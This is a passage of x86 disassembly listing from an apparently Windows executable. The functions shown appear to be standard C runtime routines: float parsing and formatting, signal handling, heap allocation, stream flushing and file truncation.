39h jg loc_41FDA7 jmp short loc_41FCCA ; --------------------------------------------------------------------------- loc_41FCC0: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o cmp bl, 31h ; jumptable 0041FA97 case 7 jl short loc_41FCD3 cmp bl, 39h jg short loc_41FCD3 loc_41FCCA: ; CODE XREF: sub_41FA34+250j ; sub_41FA34+28Aj push 9 loc_41FCCC: ; CODE XREF: sub_41FA34+76j pop eax loc_41FCCD: ; CODE XREF: sub_41FA34+240j dec edi jmp loc_41FA8B ; --------------------------------------------------------------------------- loc_41FCD3: ; CODE XREF: sub_41FA34+28Fj ; sub_41FA34+294j cmp bl, 30h jnz short loc_41FD1C jmp short loc_41FC9B ; --------------------------------------------------------------------------- loc_41FCDA: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o cmp [ebp+arg_18], 0 ; jumptable 0041FA97 case 11 jz short loc_41FD0A movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_41FD02 dec eax dec eax jnz loc_41FDAA loc_41FCF6: ; CODE XREF: sub_41FA34+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41FA8B ; --------------------------------------------------------------------------- loc_41FD02: ; CODE XREF: sub_41FA34+258j ; sub_41FA34+2B8j push 7 loc_41FD04: ; CODE XREF: sub_41FA34+85j ; sub_41FA34+103j ... pop eax jmp loc_41FA8B ; --------------------------------------------------------------------------- loc_41FD0A: ; CODE XREF: sub_41FA34+2AAj push 0Ah dec edi pop eax loc_41FD0E: ; CODE XREF: sub_41FA34+5Dj ; sub_41FA34+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041FA97 case 10 jz loc_41FDAC jmp loc_41FA8B ; --------------------------------------------------------------------------- loc_41FD1C: ; CODE XREF: sub_41FA34+12Dj ; sub_41FA34+238j ... mov edi, [ebp+arg_8] jmp loc_41FDAC ; --------------------------------------------------------------------------- loc_41FD24: ; CODE XREF: sub_41FA34+63j ; DATA XREF: .text:off_41FED5o mov [ebp+var_20], 1 ; jumptable 0041FA97 case 9 xor esi, esi loc_41FD2D: ; CODE XREF: sub_41FA34+339j cmp dword_435E38, 1 jle short loc_41FD45 movzx eax, bl push 4 push eax call sub_41BDD1 pop ecx pop ecx jmp short loc_41FD54 ; --------------------------------------------------------------------------- loc_41FD45: ; CODE XREF: sub_41FA34+300j mov ecx, off_435C2C movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41FD54: ; CODE XREF: sub_41FA34+30Fj test eax, eax jz short loc_41FD74 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41FD6F mov bl, [edi] inc edi jmp short loc_41FD2D ; --------------------------------------------------------------------------- loc_41FD6F: ; CODE XREF: sub_41FA34+334j mov esi, 1451h loc_41FD74: ; CODE XREF: sub_41FA34+322j mov [ebp+var_1C], esi loc_41FD77: ; CODE XREF: sub_41FA34+371j cmp dword_435E38, 1 jle short loc_41FD8F movzx eax, bl push 4 push eax call sub_41BDD1 pop ecx pop ecx jmp short loc_41FD9E ; --------------------------------------------------------------------------- loc_41FD8F: ; CODE XREF: sub_41FA34+34Aj mov ecx, off_435C2C movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41FD9E: ; CODE XREF: sub_41FA34+359j test eax, eax jz short loc_41FDA7 mov bl, [edi] inc edi jmp short loc_41FD77 ; --------------------------------------------------------------------------- loc_41FDA7: ; CODE XREF: sub_41FA34+99j ; sub_41FA34+E4j ... dec edi jmp short loc_41FDAC ; --------------------------------------------------------------------------- loc_41FDAA: ; CODE XREF: sub_41FA34+261j ; sub_41FA34+2BCj mov edi, ecx loc_41FDAC: ; CODE XREF: sub_41FA34+2DDj ; sub_41FA34+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_41FE94 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41FDD8 cmp [ebp+var_45], 5 jl short loc_41FDCC inc [ebp+var_45] loc_41FDCC: ; CODE XREF: sub_41FA34+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41FDDB ; --------------------------------------------------------------------------- loc_41FDD8: ; CODE XREF: sub_41FA34+38Dj mov eax, [ebp+var_C] loc_41FDDB: ; CODE XREF: sub_41FA34+3A2j cmp [ebp+var_4], 0 jbe loc_41FE8A loc_41FDE5: ; CODE XREF: sub_41FA34+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_41FDF3 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_41FDE5 ; --------------------------------------------------------------------------- loc_41FDF3: ; CODE XREF: sub_41FA34+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_41F96D mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_41FE12 neg eax loc_41FE12: ; CODE XREF: sub_41FA34+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41FE1D add eax, [ebp+arg_10] loc_41FE1D: ; CODE XREF: sub_41FA34+3E4j cmp [ebp+var_24], ecx jnz short loc_41FE25 sub eax, [ebp+arg_14] loc_41FE25: ; CODE XREF: sub_41FA34+3ECj cmp eax, 1450h jle short loc_41FE5C mov [ebp+var_2C], 1 loc_41FE33: ; CODE XREF: sub_41FA34+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_41FE3F: ; CODE XREF: sub_41FA34+454j ; sub_41FA34+45Ej cmp [ebp+var_2C], 0 jz short loc_41FEA5 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41FEBA ; --------------------------------------------------------------------------- loc_41FE5C: ; CODE XREF: sub_41FA34+3F6j cmp eax, 0FFFFEBB0h jge short loc_41FE6C mov [ebp+var_30], 1 jmp short loc_41FE33 ; --------------------------------------------------------------------------- loc_41FE6C: ; CODE XREF: sub_41FA34+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_420942 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_41FE3F ; --------------------------------------------------------------------------- loc_41FE8A: ; CODE XREF: sub_41FA34+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_41FE3F ; --------------------------------------------------------------------------- loc_41FE94: ; CODE XREF: sub_41FA34+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41FEBA ; --------------------------------------------------------------------------- loc_41FEA5: ; CODE XREF: sub_41FA34+40Fj cmp [ebp+var_30], 0 jz short loc_41FEBA xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41FEBA: ; CODE XREF: sub_41FA34+426j ; sub_41FA34+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_41FA34 endp ; --------------------------------------------------------------------------- off_41FED5 dd offset loc_41FA9E ; DATA XREF: sub_41FA34+63r dd offset loc_41FAED ; jump table for switch statement dd offset loc_41FB44 dd offset loc_41FB6E dd offset loc_41FBC9 dd offset loc_41FC40 dd offset loc_41FC76 dd offset loc_41FCC0 dd offset loc_41FC9F dd offset loc_41FD24 dd offset loc_41FD0E dd offset loc_41FCDA ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push esi push eax push eax push eax lea eax, [ebp-0Ch] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push eax call sub_41FA34 push dword ptr [ebp+8] mov esi, eax lea eax, [ebp-0Ch] push eax call sub_41E0CE add esp, 24h cmp eax, 1 jnz short loc_41FF3C or esi, 2 loc_41FF3C: ; CODE XREF: .text:0041FF37j mov eax, esi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF41 proc near ; CODE XREF: sub_41E247+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41FFA3 mov byte ptr [ebx+2], 2Dh jmp short loc_41FFA7 ; --------------------------------------------------------------------------- loc_41FFA3: ; CODE XREF: sub_41FF41+5Aj mov byte ptr [ebx+2], 20h loc_41FFA7: ; CODE XREF: sub_41FF41+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_41FFCD test edi, edi jnz short loc_41FFCD cmp [ebp+arg_0], edi jnz short loc_41FFCD loc_41FFB8: ; CODE XREF: sub_41FF41+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_4201CB ; --------------------------------------------------------------------------- loc_41FFCD: ; CODE XREF: sub_41FF41+6Cj ; sub_41FF41+70j ... cmp dx, si jnz short loc_42004C mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41FFE6 cmp [ebp+arg_0], 0 jz short loc_41FFF5 loc_41FFE6: ; CODE XREF: sub_41FF41+9Dj test edi, 40000000h jnz short loc_41FFF5 push offset a1Snan ; "1#SNAN" jmp short loc_42003B ; --------------------------------------------------------------------------- loc_41FFF5: ; CODE XREF: sub_41FF41+A3j ; sub_41FF41+ABj test cx, cx jz short loc_42000F cmp edi, 0C0000000h jnz short loc_42000F cmp [ebp+arg_0], 0 jnz short loc_420036 push offset a1Ind ; "1#IND" jmp short loc_42001E ; --------------------------------------------------------------------------- loc_42000F: ; CODE XREF: sub_41FF41+B7j ; sub_41FF41+BFj cmp edi, eax jnz short loc_420036 cmp [ebp+arg_0], 0 jnz short loc_420036 push offset a1Inf ; "1#INF" loc_42001E: ; CODE XREF: sub_41FF41+CCj lea eax, [ebx+4] push eax call sub_4175D0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_42002D: ; CODE XREF: sub_41FF41+109j and [ebp+var_4], 0 jmp loc_4201A4 ; --------------------------------------------------------------------------- loc_420036: ; CODE XREF: sub_41FF41+C5j ; sub_41FF41+D0j ... push offset a1Qnan ; "1#QNAN" loc_42003B: ; CODE XREF: sub_41FF41+B2j lea eax, [ebx+4] push eax call sub_4175D0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_42002D ; --------------------------------------------------------------------------- loc_42004C: ; CODE XREF: sub_41FF41+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_420942 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_4200AD lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_420722 pop ecx pop ecx loc_4200AD: ; CODE XREF: sub_41FF41+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_4200C7 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_4200CA jmp loc_41FFB8 ; --------------------------------------------------------------------------- loc_4200C7: ; CODE XREF: sub_41FF41+173j mov edi, [ebp+arg_C] loc_4200CA: ; CODE XREF: sub_41FF41+17Fj cmp edi, 15h jle short loc_4200D2 push 15h pop edi loc_4200D2: ; CODE XREF: sub_41FF41+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_4200E8: ; CODE XREF: sub_41FF41+1B4j lea eax, [ebp+var_10] push eax call sub_41F912 dec [ebp+arg_14] pop ecx jnz short loc_4200E8 test esi, esi jge short loc_420112 neg esi and esi, 0FFh jle short loc_420112 loc_420105: ; CODE XREF: sub_41FF41+1CFj lea eax, [ebp+var_10] push eax call sub_41F940 dec esi pop ecx jnz short loc_420105 loc_420112: ; CODE XREF: sub_41FF41+1B8j ; sub_41FF41+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_42016F mov [ebp+arg_C], ecx loc_420122: ; CODE XREF: sub_41FF41+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_41F912 lea eax, [ebp+var_10] push eax call sub_41F912 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41F8B4 lea eax, [ebp+var_10] push eax call sub_41F912 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_420122 mov eax, [ebp+arg_14] loc_42016F: ; CODE XREF: sub_41FF41+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_4201AC loc_42017C: ; CODE XREF: sub_41FF41+248j cmp eax, ecx jb short loc_42018F cmp byte ptr [eax], 39h jnz short loc_42018B mov byte ptr [eax], 30h dec eax jmp short loc_42017C ; --------------------------------------------------------------------------- loc_42018B: ; CODE XREF: sub_41FF41+242j cmp eax, ecx jnb short loc_420193 loc_42018F: ; CODE XREF: sub_41FF41+23Dj inc eax inc word ptr [ebx] loc_420193: ; CODE XREF: sub_41FF41+24Cj inc byte ptr [eax] loc_420195: ; CODE XREF: sub_41FF41+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_4201A4: ; CODE XREF: sub_41FF41+F0j mov eax, [ebp+var_4] loc_4201A7: ; CODE XREF: sub_41FF41+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4201AC: ; CODE XREF: sub_41FF41+239j ; sub_41FF41+275j cmp eax, ecx jb short loc_4201BC cmp byte ptr [eax], 30h jnz short loc_4201B8 dec eax jmp short loc_4201AC ; --------------------------------------------------------------------------- loc_4201B8: ; CODE XREF: sub_41FF41+272j cmp eax, ecx jnb short loc_420195 loc_4201BC: ; CODE XREF: sub_41FF41+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_4201CB: ; CODE XREF: sub_41FF41+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_4201A7 sub_41FF41 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push edi mov edi, [ebp+0Ch] cmp edi, 4 jz loc_42029E cmp edi, 3 jz loc_42029E mov esi, [ebp+8] cmp esi, 2 jz short loc_420254 cmp esi, 15h jz short loc_420254 cmp esi, 16h jz short loc_42024F cmp esi, 0Fh jz short loc_42024F cmp esi, 8 jz short loc_420218 cmp esi, 4 jz short loc_420218 cmp esi, 0Bh jnz loc_42029E loc_420218: ; CODE XREF: .text:00420208j ; .text:0042020Dj push esi call sub_420445 test eax, eax pop ecx jz short loc_42029E mov ecx, [eax+8] loc_420226: ; CODE XREF: .text:0042024Dj cmp [eax+4], esi jnz loc_4202DC mov [eax+8], edi mov edx, dword_436128 add eax, 0Ch lea edx, [edx+edx*2] lea edx, ds:4360A8h[edx*4] cmp eax, edx jnb loc_4202DC jmp short loc_420226 ; --------------------------------------------------------------------------- loc_42024F: ; CODE XREF: .text:004201FEj ; .text:00420203j cmp esi, 15h jnz short loc_420274 loc_420254: ; CODE XREF: .text:004201F4j ; .text:004201F9j cmp dword_492AD0, 0 jnz short loc_420274 push 1 push offset loc_4202E0 call ds:dword_4952F4 ; SetConsoleCtrlHandler cmp eax, 1 jnz short loc_420293 mov dword_492AD0, eax loc_420274: ; CODE XREF: .text:00420252j ; .text:0042025Bj dec esi dec esi jz short loc_4202CB sub esi, 0Dh jz short loc_4202BD sub esi, 6 jz short loc_4202AF dec esi jnz short loc_4202D9 mov ecx, dword_492AC8 mov dword_492AC8, edi jmp short loc_4202DC ; --------------------------------------------------------------------------- loc_420293: ; CODE XREF: .text:0042026Dj call ds:dword_495328 ; RtlGetLastWin32Error mov dword_4927F8, eax loc_42029E: ; CODE XREF: .text:004201DFj ; .text:004201E8j ... mov dword_4927F4, 16h or eax, 0FFFFFFFFh loc_4202AB: ; CODE XREF: .text:004202DEj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4202AF: ; CODE XREF: .text:00420280j mov ecx, dword_492AC4 mov dword_492AC4, edi jmp short loc_4202DC ; --------------------------------------------------------------------------- loc_4202BD: ; CODE XREF: .text:0042027Bj mov ecx, dword_492ACC mov dword_492ACC, edi jmp short loc_4202DC ; --------------------------------------------------------------------------- loc_4202CB: ; CODE XREF: .text:00420276j mov ecx, dword_492AC0 mov dword_492AC0, edi jmp short loc_4202DC ; --------------------------------------------------------------------------- loc_4202D9: ; CODE XREF: .text:00420283j mov ecx, [ebp+0Ch] loc_4202DC: ; CODE XREF: .text:00420229j ; .text:00420247j ... mov eax, ecx jmp short loc_4202AB ; --------------------------------------------------------------------------- loc_4202E0: ; DATA XREF: .text:0042025Fo cmp dword ptr [esp+4], 0 jnz short loc_4202F5 mov eax, dword_492AC0 mov ecx, offset dword_492AC0 push 2 jmp short loc_420301 ; --------------------------------------------------------------------------- loc_4202F5: ; CODE XREF: .text:004202E5j mov eax, dword_492AC4 mov ecx, offset dword_492AC4 push 15h loc_420301: ; CODE XREF: .text:004202F3j test eax, eax pop edx jz short locret_420315 cmp eax, 1 jz short loc_420312 and dword ptr [ecx], 0 push edx call eax pop ecx loc_420312: ; CODE XREF: .text:00420309j push 1 pop eax locret_420315: ; CODE XREF: .text:00420304j retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420318 proc near ; CODE XREF: sub_41A91C+3AA7p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_42037F dec eax dec eax jz short loc_420370 sub eax, 4 jz short loc_420370 sub eax, 3 jz short loc_420370 sub eax, 4 jz short loc_420363 sub eax, 6 jz short loc_420356 dec eax jz short loc_420349 or eax, 0FFFFFFFFh jmp loc_420441 ; --------------------------------------------------------------------------- loc_420349: ; CODE XREF: sub_420318+27j mov esi, dword_492AC8 mov eax, offset dword_492AC8 jmp short loc_42038A ; --------------------------------------------------------------------------- loc_420356: ; CODE XREF: sub_420318+24j mov esi, dword_492AC4 mov eax, offset dword_492AC4 jmp short loc_42038A ; --------------------------------------------------------------------------- loc_420363: ; CODE XREF: sub_420318+1Fj mov esi, dword_492ACC mov eax, offset dword_492ACC jmp short loc_42038A ; --------------------------------------------------------------------------- loc_420370: ; CODE XREF: sub_420318+10j ; sub_420318+15j ... push edi call sub_420445 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_42038A ; --------------------------------------------------------------------------- loc_42037F: ; CODE XREF: sub_420318+Cj mov esi, dword_492AC0 mov eax, offset dword_492AC0 loc_42038A: ; CODE XREF: sub_420318+3Cj ; sub_420318+49j ... cmp esi, 1 jnz short loc_420396 xor eax, eax jmp loc_420441 ; --------------------------------------------------------------------------- loc_420396: ; CODE XREF: sub_420318+75j test esi, esi jnz short loc_4203A1 push 3 call sub_41781E loc_4203A1: ; CODE XREF: sub_420318+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4203B3 cmp edi, 0Bh jz short loc_4203B3 cmp edi, 4 jnz short loc_4203D9 loc_4203B3: ; CODE XREF: sub_420318+8Fj ; sub_420318+94j mov ebx, dword_4928A4 and dword_4928A4, 0 cmp edi, ecx jnz short loc_420408 mov edx, dword_43612C mov dword_43612C, 8Ch mov [ebp+arg_0], edx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203D9: ; CODE XREF: sub_420318+99j mov ebx, [ebp+arg_0] loc_4203DC: ; CODE XREF: sub_420318+BFj cmp edi, ecx jnz short loc_420408 mov eax, dword_436120 mov ecx, dword_436124 add ecx, eax cmp eax, ecx jge short loc_42040F lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:4360B0h[edx*4] loc_4203FD: ; CODE XREF: sub_420318+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_4203FD jmp short loc_42040F ; --------------------------------------------------------------------------- loc_420408: ; CODE XREF: sub_420318+AAj ; sub_420318+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_42041D loc_42040F: ; CODE XREF: sub_420318+D7j ; sub_420318+EEj push dword_43612C push 8 call esi pop ecx pop ecx jmp short loc_42042B ; --------------------------------------------------------------------------- loc_42041D: ; CODE XREF: sub_420318+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_42042B cmp edi, 4 jnz short loc_42043E loc_42042B: ; CODE XREF: sub_420318+103j ; sub_420318+10Cj cmp edi, 8 mov dword_4928A4, ebx jnz short loc_42043E mov eax, [ebp+arg_0] mov dword_43612C, eax loc_42043E: ; CODE XREF: sub_420318+111j ; sub_420318+11Cj xor eax, eax pop ebx loc_420441: ; CODE XREF: sub_420318+2Cj ; sub_420318+79j pop edi pop esi pop ebp retn sub_420318 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420445 proc near ; CODE XREF: .text:00420219p ; sub_420318+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_436128 cmp dword_4360AC, edx push esi mov eax, offset dword_4360A8 jz short loc_420473 lea esi, [ecx+ecx*2] lea esi, ds:4360A8h[esi*4] loc_420467: ; CODE XREF: sub_420445+2Cj add eax, 0Ch cmp eax, esi jnb short loc_420473 cmp [eax+4], edx jnz short loc_420467 loc_420473: ; CODE XREF: sub_420445+16j ; sub_420445+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:4360A8h[ecx*4] cmp eax, ecx jnb short loc_420487 cmp [eax+4], edx jz short locret_420489 loc_420487: ; CODE XREF: sub_420445+3Bj xor eax, eax locret_420489: ; CODE XREF: sub_420445+40j retn sub_420445 endp ; =============== S U B R O U T I N E ======================================= sub_42048A proc near ; CODE XREF: sub_41E5E8+22p ; sub_41E5E8+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_4204AA test esi, esi jnz short loc_4204A4 push 1 pop esi loc_4204A4: ; CODE XREF: sub_42048A+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_4204AA: ; CODE XREF: sub_42048A+11j ; sub_42048A+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_4204DB cmp ebx, dword_435AC8 ja short loc_4204C6 push ebx call sub_41866D mov edi, eax pop ecx test edi, edi jnz short loc_4204F1 loc_4204C6: ; CODE XREF: sub_42048A+2Dj push esi push 8 push dword_49426C call ds:dword_495428 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_4204FD loc_4204DB: ; CODE XREF: sub_42048A+25j cmp dword_49284C, 0 jz short loc_4204FD push esi call sub_4181F0 test eax, eax pop ecx jz short loc_420503 jmp short loc_4204AA ; --------------------------------------------------------------------------- loc_4204F1: ; CODE XREF: sub_42048A+3Aj push ebx push 0 push edi call sub_415CA0 add esp, 0Ch loc_4204FD: ; CODE XREF: sub_42048A+4Fj ; sub_42048A+58j mov eax, edi loc_4204FF: ; CODE XREF: sub_42048A+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420503: ; CODE XREF: sub_42048A+63j xor eax, eax jmp short loc_4204FF sub_42048A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E68D loc_420507: ; CODE XREF: sub_41E68D+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_493E40, esi jle short loc_42055A loc_420516: ; CODE XREF: sub_41E68D+1ECBj mov eax, dword_492AF0 mov eax, [eax+esi*4] test eax, eax jz short loc_420551 test byte ptr [eax+0Ch], 83h jz short loc_420535 push eax call sub_416D94 cmp eax, 0FFFFFFFFh pop ecx jz short loc_420535 inc edi loc_420535: ; CODE XREF: sub_41E68D+1E99j ; sub_41E68D+1EA5j cmp esi, 14h jl short loc_420551 mov eax, dword_492AF0 push dword ptr [eax+esi*4] call sub_415D6C mov eax, dword_492AF0 pop ecx and dword ptr [eax+esi*4], 0 loc_420551: ; CODE XREF: sub_41E68D+1E93j ; sub_41E68D+1EABj inc esi cmp esi, dword_493E40 jl short loc_420516 loc_42055A: ; CODE XREF: sub_41E68D+1E87j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_41E68D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42055F proc near ; CODE XREF: sub_41EEE4+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_416880 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_493F9C jnb loc_420694 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_493E60[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_420694 push 1 push esi push ebx call sub_41CE78 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_42069E push 2 push esi push ebx call sub_41CE78 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_42069E push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_420641 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_415CA0 push 8000h push ebx call sub_4209BE add esp, 14h mov [ebp+arg_4], eax loc_4205F5: ; CODE XREF: sub_42055F+BDj mov eax, 1000h cmp edi, eax jge short loc_420600 mov eax, edi loc_420600: ; CODE XREF: sub_42055F+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41E3D1 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42061E sub edi, eax test edi, edi jle short loc_420634 jmp short loc_4205F5 ; --------------------------------------------------------------------------- loc_42061E: ; CODE XREF: sub_42055F+B5j cmp dword_4927F8, 5 jnz short loc_420631 mov dword_4927F4, 0Dh loc_420631: ; CODE XREF: sub_42055F+C6j or esi, 0FFFFFFFFh loc_420634: ; CODE XREF: sub_42055F+BBj push [ebp+arg_4] push ebx call sub_4209BE pop ecx pop ecx jmp short loc_420681 ; --------------------------------------------------------------------------- loc_420641: ; CODE XREF: sub_42055F+71j jge short loc_420681 push 0 push [ebp+arg_4] push ebx call sub_41CE78 push ebx call sub_41ED9C add esp, 10h push eax call ds:dword_4952F0 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_420681 mov dword_4927F4, 0Dh call ds:dword_495328 ; RtlGetLastWin32Error mov dword_4927F8, eax loc_420681: ; CODE XREF: sub_42055F+E0j ; sub_42055F:loc_420641j ... push 0 push [ebp+arg_0] push ebx call sub_41CE78 add esp, 0Ch mov eax, esi pop edi jmp short loc_4206A1 ; --------------------------------------------------------------------------- loc_420694: ; CODE XREF: sub_42055F+1Aj ; sub_42055F+36j mov dword_4927F4, 9 loc_42069E: ; CODE XREF: sub_42055F+4Ej ; sub_42055F+63j or eax, 0FFFFFFFFh loc_4206A1: ; CODE XREF: sub_42055F+133j pop esi pop ebx leave retn sub_42055F endp ; =============== S U B R O U T I N E ======================================= sub_4206A5 proc near ; CODE XREF: sub_41F1B2+23p arg_0 = dword ptr 4 cmp dword_494284, 0 push ebx push esi mov esi, dword_49281C push edi jz short loc_42071C test esi, esi jnz short loc_4206D6 cmp dword_492824, esi jz short loc_42071C call sub_420A73 test eax, eax jnz short loc_42071C mov esi, dword_49281C test esi, esi jz short loc_42071C loc_4206D6: ; CODE XREF: sub_4206A5+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_42071C push ebx call sub_4158E0 pop ecx mov edi, eax loc_4206E7: ; CODE XREF: sub_4206A5+6Dj mov eax, [esi] test eax, eax jz short loc_42071C push eax call sub_4158E0 cmp eax, edi pop ecx jbe short loc_42070F mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_42070F push edi push ebx push eax call sub_420A34 add esp, 0Ch test eax, eax jz short loc_420714 loc_42070F: ; CODE XREF: sub_4206A5+51j ; 